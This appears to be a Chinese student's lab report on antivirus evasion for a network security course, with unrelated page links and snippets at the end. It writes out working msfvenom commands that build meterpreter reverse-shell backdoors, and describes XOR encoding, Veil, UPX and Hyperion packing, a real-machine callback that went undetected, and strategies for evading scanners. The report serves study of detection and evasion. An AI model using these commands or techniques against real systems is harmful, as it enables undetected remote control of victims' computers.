20165310 NetSec2019 Week5 Exp3 免杀原理与实践

一、免杀原理

  • 杀软是如何检测出恶意代码的

    • 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
    • 启发式恶意软件检测:杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
    • 基于行为的恶意软件检测:是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,例如修改注册表等,则会把它当成恶意软件。
  • 免杀是做什么?

    • 对恶意软件进行不影响它功能的各种方法操作,如编码、加壳等处理,使他的特征码改变,或是捆绑正常应用等,逃过杀毒软件的扫描
  • 免杀的基本方法有哪些?

    • 改变特征码 :如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
    • 第二种是改变行为:如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
    • 第三种是非常规方法:如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

二、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

任务一、使用msf编码器msfvenom生成后门程序

  • 使用msf命令生成后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exe

    • 其中,-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

    • 在virscan与VirusTotal中扫描结果分别如下:

    可以看出来查出率有一半多,免杀效果很差

  • 尝试利用msf的多次编码参数-i来进行多次编码,提高免杀效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exe

    • 免杀扫描结果如下:

    ​ 可以发现甚至扫描几乎不变,甚至反而变多了,效果并不好。

  • 尝试生成别的类型的文件进行免杀操作

    • 生成jar类型的后门:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar

    • 扫描结果如下:

      在virscan中结果明显比exe文件减少很多,但是在VirusTotal中差不多

任务二、使用veil-evasion生成后门程序及检测

  • Veil-Evasion的安装

    • 安装veil-evasion:apt-get install evil-evation

    • 过程中需安装一系列依赖例如wine等,安装成功后可以看到如下界面:

  • 利用Veil生成C语言免杀后门:

    • 命令use evasion进入evil-evasion,命令list可以查看能编写哪些种类的后门

    • 我们选择C语言的tcp反连接后门:use 7(7为list中的对应序号)

    • 进行参数设置:

    • 生成免杀后门软件成功,命名为veil_CEncode.exe

    • 进行扫描查看免杀效果

    ​ 可以看出免杀效果没有明显提高,对比去年学长学姐的博客,效果明显变差,推测应该是病毒库更新的原因。

任务三、半手工注入Shellcode并执行

  • 本机实验

    • 利用msf生成一段C语言的shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c

  • 进行了C语言的异或编码,试图让他逃脱杀软的扫描,验证编码是否正确:

    • 例行扫描:

    ​ 效果比上面的工具似乎好一点,但没有明显改善,简单的异或编码已经骗不过杀软了,下回尝试加密,如果成功再更新。

    • 尝试回连,查看是否经过异或加密的shellcode还能正常工作,没有优先尝试加密的原因正是因为加密后再解密的shellcode容易失效

  • 另外的真机回连

    • IP改变,重新生成shellcode:

    • 生成可执行文件,发送给对方执行并回连,exploit等待:

    • 对方执行文件,回连成功:

    • 执行命令dir确认连接成功:

    • 腾讯安全管家扫描没有扫出

任务四、加壳

  • 对上面第一个半手工shellcode进行UPX加壳,减少文件体积 :

    • 对半手工生成的shellcode加upx壳

    • 扫描结果:

      查出来的杀软数目反而增多,应该是upx的特征码被录入了病毒库,下面再加一层加密壳验证一下自己的看法

    • 利用wine模拟Windows环境,运行hyperion.exe进行加壳

    • 进行扫描:

      ​ 被扫描出的结果更多,可以验证上面的想法,著名加壳工具只会增加被发现概率,建议自己加花指令或者改壳。

任务五、听说pathon-evasion挺好用

  • 为了能够嵌入汇编语言,选择了C语言对shellcode进行处理,加密解密没有现成的库简直要了命= =,于是贼心不死还是想找个工具,于是安装了听说很好用的pathon-evasion,但是不得不说安装和evil-evasion一样麻烦。

    • 经过一系列复杂的异或与多线程等操作之后,生成了exe送去扫描:

      可以看见结果稍有好转,但是没有理想中那么好,查看扫描结果发现,pathon本身特征码已经被杀软锁定了,甚至不需要扫描文件本身,直接可以断定是恶意代码,大概是曾经太好用了,可见很多杀毒软件更新还是可靠并且快的。

    • 但是还是有优点的,之前生成的所有恶意软件没有能够逃过火绒的扫描,但是这款生成的软件成功没有被发现(*_phan.exe文件都没有被扫出)

      总的来说,国内主流杀软病毒库,就本次扫描结果来说360>火绒>腾讯,但个人使用感火绒>360=腾讯,所以最后还是选择了火绒,希望它病毒库能更新的快一点吧。

三、遇到问题与实验感想

1、遇到的问题:

  • Veil-Evasion安装失败

    • 建议先执行apt-get upgrade操作,进行后成功率高了很多
    • 事实上即便更新后,安装仍然中断许多次,那就多试几次吧
    • 如果报错但是还是完成了安装,不妨试着运行一下,我最终安装有报错但是能正常运行,估计原因是前几次虽然安装失败但有些配置已经配置好了,正好是最后一次失败的配置。

  • ping不通别人的真机

    • 虚拟机网络设置改为桥接模式
    • 对方关闭防火墙

  • 回连不成功

    • 尝试了n次生成不同的shellcode,再编译成可执行文件
    • 查看进程和端口都没问题
    • 突然就成功了大概是个玄学,多试几次吧,加油,感觉验收又会死在这个上面很久,god bless me。

2、实验收获与感想

  • 本次试验扫描出来最少的样品其实是veil生成的一个python的回连脚本,但是由于我没有使用py2exe,并不能确定生成exe可执行文件后是否不会被扫描,但是根据msf生成的Java的扫描结果,似乎都比c语言要具有一定的优势。

  • 简陋的半手动shellcode生成可执行文件依然比过于大众的免杀工具好用,例如:加upx的壳与veil的C语言后门,以及msf生成的源码。

  • 可以大胆猜测一下,如果要做到真正的免杀,半手动的py/jar进行处理+部分小众工具会有奇效,要是能自己生成shellcode或许更好,总而言之就是要改变特征码与哈希值。

  • 如果要避免动态监测,绑定正常程序或者以正常程序为模板或者生成恶意dll调用,会比单独的恶意软件好很多。

  • 虽然火绒病毒库不够新,依然不能阻止我爱他的使用感。

  • 很多想法想验证,但是我来不及了,时间太少了,枯了。

20165310 NetSec2019 Week5 Exp3 免杀原理与实践的更多相关文章

  1. NetSec2019 20165327 Exp3 免杀原理与实践

    NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...

  2. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  3. 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233

    Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. 获取 Google USB 驱动程序

    获取 Google USB 驱动程序       另请参阅 安装 USB 驱动程序 使用硬件设备 使用任何 Google Nexus 设备进行 ADB 调试时,只有 Windows 需要 Google ...

  2. phpstudy一系列安装问题

    phpStudy是一款PHP调试环境的程序集成包,该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便.好用的 ...

  3. Git安装及创建版本库

    一.在Windows上安装Git 1.虽然用于开发的系统最好是用Mac或者Linux,但绝大多数新人都是用Windows进行开发.Windows系统上也有提供了Git(Windows版),下载地址:h ...

  4. eclipse中tomcat启动成功,浏览器访问失败

    eclipse添加tomcat之后,tomcat有个默认设置,我们需要对tomcat进行重新设置: 1.双击已添加的tomcat,进入到配置页面,找到server locations一栏,可以看到默认 ...

  5. sudo安装某一文件报错:E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用) E: 无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?

    报错原因:资源被占用 解决方法: sudo rm /var/cache/apt/archives/lock sudo rm /var/lib/dpkg/lock

  6. 永恒之蓝msf下 ms17_010 (64位kali下安装wine32)

    本次用到的环境: kali(2016.2)32位系统.ip地址:192.168.1.104 目标靶机为:win7sp1x64系统(关闭防火墙),ip地址:192.168.1.105 ========= ...

  7. Discuz!代码大全

    1.[ u]文字:在文字的位置可以任意加入您需要的字符,显示为下划线效果. 2.[ align=center]文字:在文字的位置可以任意加入您需要的字符,center位置center表示居中,left ...

  8. JS-向数组指定位置添加元素

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  9. c# 定义委托和使用委托(事件的使用)

    使用委托时要先实例化,和类一样,使用new关键字产生委托的新实例,然后将一个或者多个与委托签名匹配的方法与委托实例关联.随后调用委托时,就会调用所有与委托实例关联的方法. 与委托关联可以是任何类或者结 ...

  10. Chrome浏览器相关细节整理

    一.上传文件卡死 可能时由于输入法的原因导致上传文件浏览器卡死.将输入法改为英文模式再操作上传文件就不会卡死了.